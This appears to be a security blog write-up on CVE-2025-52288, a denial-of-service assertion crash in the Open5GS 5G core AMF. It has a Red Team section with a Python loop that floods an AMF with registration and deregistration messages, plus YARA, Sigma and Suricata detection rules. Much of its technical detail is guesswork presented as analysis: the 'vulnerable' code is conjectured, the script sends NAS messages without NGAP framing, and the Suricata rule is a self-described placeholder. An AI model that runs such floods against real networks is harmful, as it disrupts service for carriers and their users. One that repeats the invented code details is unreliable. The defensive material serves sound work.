CVE-2025-52288

Executive Summary

CVE-2025-52288 is a denial-of-service (DoS) vulnerability in the Access and Mobility Management Function (AMF) component of Open5GS, an open-source 5G Core network implementation. The flaw resides in the ngap_build_downlink_nas_transport function within src/amf/ngap-build.c. An attacker can trigger an assertion failure by repeatedly sending UE connect and disconnect message sequences, leading to a crash of the AMF process. This effectively disrupts 5G core network services, impacting all connected User Equipment (UE) and potentially causing cascading failures in network operations. The vulnerability affects Open5GS versions up to and including 2.7.5. No public exploit code or patch details are currently available, but the attack vector is straightforward and requires no authentication.

Supply Chain & Package Security

Open5GS is a critical component in 5G network infrastructure, often deployed in research, testing, and production environments. As an open-source project, its supply chain security is paramount. This vulnerability highlights the risk of assertion failures in core network functions, which can be weaponized for DoS attacks. Organizations using Open5GS should monitor for official patches and consider implementing network-level mitigations to protect against unauthenticated UE message floods.

CVSS Breakdown & Threat Level

The CVSS score is currently 0.0, indicating that no official CVSS vector has been assigned. However, based on the vulnerability description, a reasonable assessment would be:

• Attack Vector (AV): Network (AV:N) – The attacker can send messages over the network.
• Attack Complexity (AC): Low (AC:L) – The attack requires only repeated UE connect/disconnect sequences.
• Privileges Required (PR): None (PR:N) – No authentication needed.
• User Interaction (UI): None (UI:N) – No user action required.
• Scope (S): Unchanged (S:U) – The vulnerability affects only the AMF component.
• Confidentiality (C): None (C:N) – No data breach.
• Integrity (I): None (I:N) – No data modification.
• Availability (A): High (A:H) – The AMF crash leads to denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Estimated Base Score: 7.5 (High)

Threat Level: High. The attack is simple, requires no authentication, and directly impacts the availability of the 5G core network.

Deep Dive & Mechanics

The vulnerability is an assertion failure in the ngap_build_downlink_nas_transport function. In C/C++ code, assert() macros are used for debugging and are typically disabled in production builds. However, if assertions are enabled (common in development or debug builds), a failed assertion will abort the program.

The function ngap_build_downlink_nas_transport is responsible for constructing NGAP (Next Generation Application Protocol) Downlink NAS Transport messages. These messages are used to deliver NAS (Non-Access Stratum) signaling from the AMF to the UE. The assertion failure likely occurs when the function is called with invalid or unexpected parameters, such as a NULL pointer or an out-of-bounds index, which can be triggered by a malformed UE connection state.

By repeatedly connecting and disconnecting a UE, an attacker can manipulate the internal state of the AMF, causing it to call ngap_build_downlink_nas_transport with invalid arguments. This triggers the assertion, crashing the AMF process. The crash disrupts all ongoing sessions and prevents new connections, resulting in a denial of service.

The attack does not require any special privileges or prior knowledge of the network. The attacker only needs to be able to send 5G NAS messages to the AMF, which is typically exposed to the radio access network (RAN) or potentially the internet if not properly firewalled.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code path. The vulnerable function is in src/amf/ngap-build.c. The assertion failure likely occurs at a line similar to:

void ngap_build_downlink_nas_transport(amf_ue_t *amf_ue, ...) {
    // ... some code ...
    assert(amf_ue != NULL);
    assert(amf_ue->nas != NULL);
    // ... build message ...
}

A patched version would replace the assert() calls with proper error handling, such as:

void ngap_build_downlink_nas_transport(amf_ue_t *amf_ue, ...) {
    if (amf_ue == NULL || amf_ue->nas == NULL) {
        // Log error and return gracefully
        ogs_error("Invalid AMF UE state");
        return;
    }
    // ... build message ...
}

This prevents the crash and allows the AMF to continue operating even when encountering invalid states.

Exploitation & Lab Setup

Red Team

Objective: Cause a denial of service on the Open5GS AMF.

Prerequisites:

• Access to the network where the Open5GS AMF is running (e.g., via a compromised UE or direct network access).
• Ability to send 5G NAS messages (e.g., using a tool like nr-cli or custom Python scripts with pycrate).

Exploitation Steps:

1. Identify the AMF endpoint: The AMF typically listens on port 38412 (SCTP) for NGAP messages. Use nmap or shodan to find exposed AMF instances.
2. Craft a UE connection script: Write a script that repeatedly initiates and releases UE connections. For example, using Python with the pycrate library:

import socket
import time
from pycrate_mobile.NAS_5G import NAS_5G

def connect_ue(amf_ip, amf_port):
    # Create SCTP socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_SCTP)
    sock.connect((amf_ip, amf_port))
    
    # Build and send Registration Request
    reg_req = NAS_5G.RegistrationRequest()
    # ... set parameters ...
    sock.send(reg_req.to_bytes())
    
    # Wait for response
    time.sleep(0.1)
    
    # Send Deregistration Request
    dereg_req = NAS_5G.DeregistrationRequest()
    # ... set parameters ...
    sock.send(dereg_req.to_bytes())
    
    sock.close()

# Main loop
amf_ip = "192.168.1.100"
amf_port = 38412
while True:
    connect_ue(amf_ip, amf_port)
    time.sleep(0.05)  # Rapid connect/disconnect

3. Execute the script: Run the script to flood the AMF with connect/disconnect sequences. Monitor the AMF logs for assertion failures and process crashes.

Expected Outcome: The AMF process crashes, causing a denial of service for all UEs.

Blue Team

Objective: Detect and mitigate the attack.

Detection:

• Monitor AMF logs for assertion failure messages (e.g., Assertion failed: amf_ue != NULL).
• Set up alerts for rapid UE registration/deregistration events.
• Use network monitoring to detect abnormal SCTP traffic patterns.

Mitigation:

• Rate Limiting: Implement rate limiting on UE registration requests from the same source IP or within a short time window.
• Input Validation: Ensure the AMF validates all incoming NAS messages and handles invalid states gracefully (patch the code).
• Firewall Rules: Restrict access to the AMF to only trusted RAN nodes.
• Disable Assertions: In production builds, compile with -DNDEBUG to disable assertions, though this may hide other bugs.

Indicators of Compromise (IOCs)

• Log Entries:
  • Assertion failed: amf_ue != NULL, file src/amf/ngap-build.c, line <N>
  • Assertion failed: amf_ue->nas != NULL, file src/amf/ngap-build.c, line <N>
  • AMF process crashed with signal SIGABRT
• Network Traffic:
  • High frequency of NGAP InitialUEMessage and UERadioCapabilityInfoIndication messages from the same source.
  • Rapid sequence of Registration Request and Deregistration Request NAS messages.
• System State:
  • AMF process not running or repeatedly restarting.
  • UEs unable to register or maintain sessions.

Detection Engineering

YARA Rule

rule CVE_2025_52288_Open5GS_AMF_Assertion {
    meta:
        description = "Detects assertion failure in Open5GS AMF ngap_build_downlink_nas_transport"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-52288"
    strings:
        $assert1 = "Assertion failed: amf_ue != NULL" ascii wide
        $assert2 = "Assertion failed: amf_ue->nas != NULL" ascii wide
        $file = "ngap-build.c" ascii wide
    condition:
        any of ($assert*) and $file
}

Sigma Rule

title: Open5GS AMF Assertion Failure
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects assertion failure in Open5GS AMF ngap_build_downlink_nas_transport
author: Valters IT
date: 2025-04-10
logsource:
    product: linux
    service: syslog
detection:
    selection:
        - "Assertion failed: amf_ue != NULL"
        - "Assertion failed: amf_ue->nas != NULL"
        - "ngap-build.c"
    condition: selection
falsepositives:
    - Debug builds with intentional assertions
level: high

Suricata Rule

alert sctp any any -> any 38412 (msg:"CVE-2025-52288 Open5GS AMF DoS Attempt"; flow:to_server; content:"|00 0f|"; depth:2; content:"|00 01|"; within:4; reference:cve,2025-52288; classtype:attempted-dos; sid:1000001; rev:1;)

Note: The Suricata rule above is a placeholder. A precise rule would require deep packet inspection of NGAP messages, which is complex. The rule above detects SCTP traffic to port 38412 with specific patterns, but may need tuning.

Remediation & Mitigation

Immediate Actions:

1. Disable Assertions: If using a debug build, recompile with -DNDEBUG to disable assertions. This prevents crashes but may hide other issues.
2. Apply Network Filters: Restrict access to the AMF to only trusted RAN nodes using firewall rules or VLANs.
3. Rate Limit UE Registrations: Implement rate limiting in the AMF or at the network edge to prevent rapid connect/disconnect floods.

Long-Term Fix:

• Patch the Code: Replace assert() calls in ngap_build_downlink_nas_transport with proper error handling (e.g., return error codes). Monitor the Open5GS project for an official patch.
• Upgrade: Once a patched version is released (e.g., > 2.7.5), upgrade immediately.

Workaround:

• Use a WAF/IPS: Deploy a Web Application Firewall or Intrusion Prevention System that can detect and block abnormal NGAP traffic patterns.

Valters IT